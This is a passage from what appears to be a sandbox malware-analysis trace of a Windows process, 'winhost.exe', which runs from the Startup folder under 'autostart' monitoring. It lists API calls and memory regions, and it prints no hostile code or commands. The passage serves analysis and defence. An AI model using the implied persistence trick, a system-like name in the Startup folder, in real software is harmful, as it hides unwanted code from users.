lpCursorName=0x7f86) returned 0x10015 [0260.567] LoadCursorW (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005 [0260.567] LoadCursorW (hInstance=0x0, lpCursorName=0x7f03) returned 0x10009 [0260.567] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0260.567] NtUserCallOneParam (Param=0x0, Routine=0x2b) returned 0x4090409 [0260.567] NtUserGetDC () returned 0x30101be [0260.567] GetDeviceCaps (hdc=0x30101be, index=90) returned 96 [0260.567] GdiReleaseDC () returned 0x1 [0260.567] NtUserCallOneParam (Param=0x30101be, Routine=0x3b) returned 0x1 [0260.567] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x448c2c, dwData=0x26e156c) returned 1 [0260.567] IsInsideUserApiHook () returned 0x1 [0260.567] _BeginIfHookedUserApiHook () returned 0x1 [0260.567] __SEH_epilog4 () returned 0x1 [0260.567] CreateFontIndirectA (lplf=0x18f867) returned 0xe0a0254 [0260.567] GetObjectA (in: h=0xe0a0254, c=60, pv=0x18f658 | out: pv=0x18f658) returned 60 [0260.567] IsInsideUserApiHook () returned 0x1 [0260.567] _BeginIfHookedUserApiHook () returned 0x1 [0260.567] __SEH_epilog4 () returned 0x1 [0260.567] CreateFontIndirectA (lplf=0x18f7ef) returned 0xd0a0258 [0260.567] GetObjectA (in: h=0xd0a0258, c=60, pv=0x18f658 | out: pv=0x18f658) returned 60 [0260.568] CreateFontIndirectA (lplf=0x18f7b3) returned 0xf0a0257 [0260.568] GetObjectA (in: h=0xf0a0257, c=60, pv=0x18f658 | out: pv=0x18f658) returned 60 [0260.573] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TApplication", lpwcx=0x18f724 | out: lpwcx=0x18f724) returned 0 [0260.574] RegisterClassExWOWA () returned 0x25c102 [0260.574] GetSystemMetrics (nIndex=0) returned 1440 [0260.574] GetSystemMetrics (nIndex=1) returned 900 [0260.574] _CreateWindowEx () returned 0x10126 [0260.577] _SetWindowLong () returned 0x406418 [0260.577] @ValidateHwnd@4 () returned 0xcf24e0 [0260.577] SendMessageWorker () returned 0x0 [0260.616] NtUserSetClassLong () returned 0x0 [0260.616] NtUserGetSystemMenu () returned 0x10131 [0260.616] NtUserDeleteMenu () returned 0x1 [0260.616] NtUserDeleteMenu () returned 0x1 [0260.616] NtUserDeleteMenu () returned 0x1 [0260.616] NtUserGetKeyboardLayoutList () returned 0x1 [0260.618] RtlCaptureAnsiString () returned 0x1 [0260.618] NtUserRegisterWindowMessage () returned 0xc0c2 [0260.618] KernelBaseGetGlobalData () returned 0x75540000 [0260.618] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x27c1e8 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0260.618] KernelBaseGetGlobalData () returned 0x75540000 [0260.618] RtlUnicodeStringToAnsiString (in: DestinationString=0x18f8c8, SourceString="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", AllocateDestinationString=0 | out: DestinationString="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x0 [0260.618] LoadStringBaseExW () returned 0x2 [0260.618] WCSToMBEx () returned 0x2 [0260.618] LoadStringBaseExW () returned 0x2 [0260.618] WCSToMBEx () returned 0x2 [0260.618] LoadStringBaseExW () returned 0x2 [0260.618] WCSToMBEx () returned 0x2 [0260.618] LoadStringBaseExW () returned 0x2 [0260.618] WCSToMBEx () returned 0x2 [0260.618] LoadStringBaseExW () returned 0xd [0260.618] WCSToMBEx () returned 0xd [0260.618] LoadStringBaseExW () returned 0xe [0260.618] WCSToMBEx () returned 0xe [0260.618] LoadStringBaseExW () returned 0xa [0260.618] WCSToMBEx () returned 0xa [0260.618] LoadStringBaseExW () returned 0x11 [0260.618] WCSToMBEx () returned 0x11 [0260.618] LoadStringBaseExW () returned 0x16 [0260.618] WCSToMBEx () returned 0x16 [0260.629] ScaleWindowExtEx (in: hdc=0x0, xn=0, xd=0, yn=0, yd=0, lpsz=0x0 | out: lpsz=0x0) returned 0 [0260.629] GetLastError () returned 0x6 Process: id = "11" image_name = "winhost.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe" page_root = "0xdef1000" os_pid = "0x558" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e2d2" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2775 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2776 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2777 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2778 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2779 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2780 start_va = 0x190000 end_va = 0x193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2781 start_va = 0x400000 end_va = 0x8fbfff entry_point = 0x400000 region_type = mapped_file name = "winhost.exe" filename = "\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe") Region: id = 2782 start_va = 0x77170000 end_va = 0x77318fff entry_point = 0x77170000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2783 start_va = 0x77350000 end_va = 0x774cffff entry_point = 0x77350000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2784 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2785 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2786 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2787 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2788 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2789 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2790 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2791 start_va = 0x340000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2792 start_va = 0x738c0000 end_va = 0x738c7fff entry_point = 0x738c0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2793 start_va = 0x738d0000 end_va = 0x7392bfff entry_point = 0x738d0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2794 start_va = 0x73930000 end_va = 0x7396efff entry_point = 0x73930000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2821 start_va = 0xaa0000 end_va = 0xb9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 2822 start_va = 0x75500000 end_va = 0x75545fff entry_point = 0x75500000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2823 start_va = 0x75590000 end_va = 0x7569ffff entry_point = 0x75590000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2824 start_va = 0x76f50000 end_va = 0x7706efff entry_point = 0x0 region_type = private name = "private_0x0000000076f50000" filename = "" Region: id = 2825 start_va = 0x77070000 end_va = 0x77169fff entry_point = 0x0 region_type = private name = "private_0x0000000077070000" filename = "" Region: id = 2862 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2863 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2864 start_va = 0x1a0000 end_va = 0x206fff entry_point = 0x1a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2865 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2866 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2867 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2868 start_va = 0x758a0000 end_va = 0x7599ffff entry_point = 0x758a0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2869 start_va = 0x76940000 end_va = 0x769cffff entry_point = 0x76940000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2870 start_va = 0x750a0000 end_va = 0x750a9fff entry_point = 0x750a0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2871 start_va = 0x759e0000 end_va = 0x75a7cfff entry_point = 0x759e0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2872 start_va = 0x76d30000 end_va = 0x76ddbfff entry_point = 0x76d30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2873 start_va = 0x74fa0000 end_va = 0x7503ffff entry_point = 0x74fa0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2874 start_va = 0x76a50000 end_va = 0x76a68fff entry_point = 0x76a50000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2875 start_va = 0x753e0000 end_va = 0x754cffff entry_point = 0x753e0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2876 start_va = 0x74eb0000 end_va = 0x74f0ffff entry_point = 0x74eb0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2877 start_va = 0x74ea0000 end_va = 0x74eabfff entry_point = 0x74ea0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2878 start_va = 0x210000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2879 start_va = 0x210000 end_va = 0x22dfff entry_point = 0x210000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2880 start_va = 0x310000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 2881 start_va = 0x900000 end_va = 0xa87fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 2882 start_va = 0x210000 end_va = 0x22dfff entry_point = 0x210000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2900 start_va = 0x769d0000 end_va = 0x76a2ffff entry_point = 0x769d0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2901 start_va = 0x75310000 end_va = 0x753dbfff entry_point = 0x75310000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2902 start_va = 0x210000 end_va = 0x210fff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2903 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2904 start_va = 0xba0000 end_va = 0xd20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ba0000" filename = "" Region: id = 2905 start_va = 0xd30000 end_va = 0x212ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d30000" filename = "" Region: id = 2906 start_va = 0x74e40000 end_va = 0x74e71fff entry_point = 0x74e40000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 2938 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2939 start_va = 0x240000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2940 start_va = 0x2130000 end_va = 0x253ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002130000" filename = "" Region: id = 2941 start_va = 0x2540000 end_va = 0x294ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002540000" filename = "" Region: id = 2942 start_va = 0x250000 end_va = 0x25afff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 2943 start_va = 0x240000 end_va = 0x24afff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2944 start_va = 0x240000 end_va = 0x24afff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 2945 start_va = 0x240000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2946 start_va = 0x2130000 end_va = 0x23fefff entry_point = 0x2130000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2950 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2951 start_va = 0x76de0000 end_va = 0x76e6efff entry_point = 0x76de0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2952 start_va = 0x75b80000 end_va = 0x75cdbfff entry_point = 0x75b80000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2953 start_va = 0x74e30000 end_va = 0x74e38fff entry_point = 0x74e30000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2954 start_va = 0x74da0000 end_va = 0x74e23fff entry_point = 0x74da0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 2955 start_va = 0x2400000 end_va = 0x255ffff entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 2956 start_va = 0x76ed0000 end_va = 0x76f4afff entry_point = 0x76ed0000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 2957 start_va = 0x75040000 end_va = 0x75096fff entry_point = 0x75040000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2958 start_va = 0x75cf0000 end_va = 0x76939fff entry_point = 0x75cf0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2965 start_va = 0x2560000 end_va = 0x2750fff entry_point = 0x2560000 region_type = mapped_file name = "winhost.exe" filename = "\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe") Region: id = 2975 start_va = 0x2760000 end_va = 0x2950fff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 3058 start_va = 0x250000 end_va = 0x280fff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 3059 start_va = 0x290000 end_va = 0x290fff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 3060 start_va = 0x2a0000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 3061 start_va = 0x2a0000 end_va = 0x2c1fff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 3062 start_va = 0x2d0000 end_va = 0x2d0fff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 3063 start_va = 0x2e0000 end_va = 0x2e0fff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 3064 start_va = 0x2f0000 end_va = 0x2f1fff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 3065 start_va = 0x300000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 3066 start_va = 0x320000 end_va = 0x321fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3067 start_va = 0x330000 end_va = 0x330fff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 3068 start_va = 0x3c0000 end_va = 0x3c0fff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3069 start_va = 0x3d0000 end_va = 0x3d1fff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 3070 start_va = 0x3e0000 end_va = 0x3e0fff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 3071 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 3072 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3073 start_va = 0xa90000 end_va = 0xa90fff entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 3074 start_va = 0x2400000 end_va = 0x2400fff entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 3075 start_va = 0x2550000 end_va = 0x255ffff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 3076 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3077 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3078 start_va = 0x320000 end_va = 0x321fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3079 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3080 start_va = 0x320000 end_va = 0x321fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3081 start_va = 0x2410000 end_va = 0x2410fff entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 3082 start_va = 0x2420000 end_va = 0x2420fff entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 3083 start_va = 0x2430000 end_va = 0x2430fff entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 3084 start_va = 0x2440000 end_va = 0x2440fff entry_point = 0x0 region_type = private name = "private_0x0000000002440000" filename = "" Region: id = 3085 start_va = 0x2450000 end_va = 0x2450fff entry_point = 0x0 region_type = private name = "private_0x0000000002450000" filename = "" Region: id = 3086 start_va = 0x2460000 end_va = 0x2460fff entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 3087 start_va = 0x2470000 end_va = 0x2471fff entry_point = 0x0 region_type = private name = "private_0x0000000002470000" filename = "" Region: id = 3088 start_va = 0x2480000 end_va = 0x2480fff entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3089 start_va = 0x2490000 end_va = 0x2490fff entry_point = 0x0 region_type = private name = "private_0x0000000002490000" filename = "" Region: id = 3090 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3091 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3092 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3093 start_va = 0x24a0000 end_va = 0x24a0fff entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3094 start_va = 0x24b0000 end_va = 0x24b0fff entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 3095 start_va = 0x24c0000 end_va = 0x24c0fff entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 3096 start_va = 0x24d0000 end_va = 0x24d0fff entry_point = 0x0 region_type = private name = "private_0x00000000024d0000" filename = "" Region: id = 3097 start_va = 0x24e0000 end_va = 0x24e0fff entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 3098 start_va = 0x24f0000 end_va = 0x24f0fff entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 3099 start_va = 0x2500000 end_va = 0x2500fff entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 3100 start_va = 0x2510000 end_va = 0x2510fff entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 3101 start_va = 0x2520000 end_va = 0x2520fff entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 3102 start_va = 0x2530000 end_va = 0x2530fff entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 3103 start_va = 0x2540000 end_va = 0x2540fff entry_point = 0x0 region_type = private name = "private_0x0000000002540000" filename = "" Region: id = 3104 start_va = 0x2560000 end_va = 0x2560fff entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 3105 start_va = 0x2570000 end_va = 0x2570fff entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 3106 start_va = 0x2580000 end_va = 0x2580fff entry_point = 0x0 region_type = private name = "private_0x0000000002580000" filename = "" Region: id = 3107 start_va = 0x2590000 end_va = 0x2590fff entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 3108 start_va = 0x25a0000 end_va = 0x25a0fff entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 3109 start_va = 0x25b0000 end_va = 0x25b0fff entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 3110 start_va = 0x25c0000 end_va = 0x25c0fff entry_point = 0x0 region_type = private name = "private_0x00000000025c0000" filename = "" Region: id = 3111 start_va = 0x25d0000 end_va = 0x25d0fff entry_point = 0x0 region_type = private name = "private_0x00000000025d0000" filename = "" Region: id = 3112 start_va = 0x25e0000 end_va = 0x25e0fff entry_point = 0x0 region_type = private name = "private_0x00000000025e0000" filename = "" Region: id = 3113 start_va = 0x25f0000 end_va = 0x25f0fff entry_point = 0x0 region_type = private name = "private_0x00000000025f0000" filename = "" Region: id = 3114 start_va = 0x2600000 end_va = 0x2600fff entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 3115 start_va = 0x2610000 end_va = 0x2610fff entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 3116 start_va = 0x2620000 end_va = 0x2620fff entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 3117 start_va = 0x2630000 end_va = 0x2630fff entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 3118 start_va = 0x2640000 end_va = 0x2640fff entry_point = 0x0 region_type = private name = "private_0x0000000002640000" filename = "" Region: id = 3119 start_va = 0x2650000 end_va = 0x2650fff entry_point = 0x0 region_type = private name = "private_0x0000000002650000" filename = "" Region: id = 3120 start_va = 0x2660000 end_va = 0x2660fff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 3121 start_va = 0x2670000 end_va = 0x2670fff entry_point = 0x0 region_type = private name = "private_0x0000000002670000" filename = "" Region: id = 3122 start_va = 0x2680000 end_va = 0x2681fff entry_point = 0x0 region_type = private name = "private_0x0000000002680000" filename = "" Region: id = 3123 start_va = 0x2690000 end_va = 0x2690fff entry_point = 0x0 region_type = private name = "private_0x0000000002690000" filename = "" Region: id = 3124 start_va = 0x26a0000 end_va = 0x26a0fff entry_point = 0x0 region_type = private name = "private_0x00000000026a0000" filename = "" Region: id = 3125 start_va = 0x26b0000 end_va = 0x26b0fff entry_point = 0x0 region_type = private name = "private_0x00000000026b0000" filename = "" Region: id = 3126 start_va = 0x26c0000 end_va = 0x26c0fff entry_point = 0x0 region_type = private name = "private_0x00000000026c0000" filename = "" Region: id = 3127 start_va = 0x320000 end_va = 0x321fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3128 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3129 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3130 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3131 start_va = 0x26d0000 end_va = 0x27cffff entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 3132 start_va = 0x736a0000 end_va = 0x7371ffff entry_point = 0x736a0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3133 start_va = 0x27d0000 end_va = 0x28cffff entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 3136 start_va = 0x28d0000 end_va = 0x29aefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000028d0000" filename = "" Region: id = 3137 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 3138 start_va = 0x74b70000 end_va = 0x74b82fff entry_point = 0x74b70000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3139 start_va = 0x29b0000 end_va = 0x2bcffff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 3140 start_va = 0x2bd0000 end_va = 0x34fffff entry_point = 0x2bd0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Thread: id = 82 os_tid = 0x55c [0259.422] VirtualAlloc (lpAddress=0x0, dwSize=0xd9c, 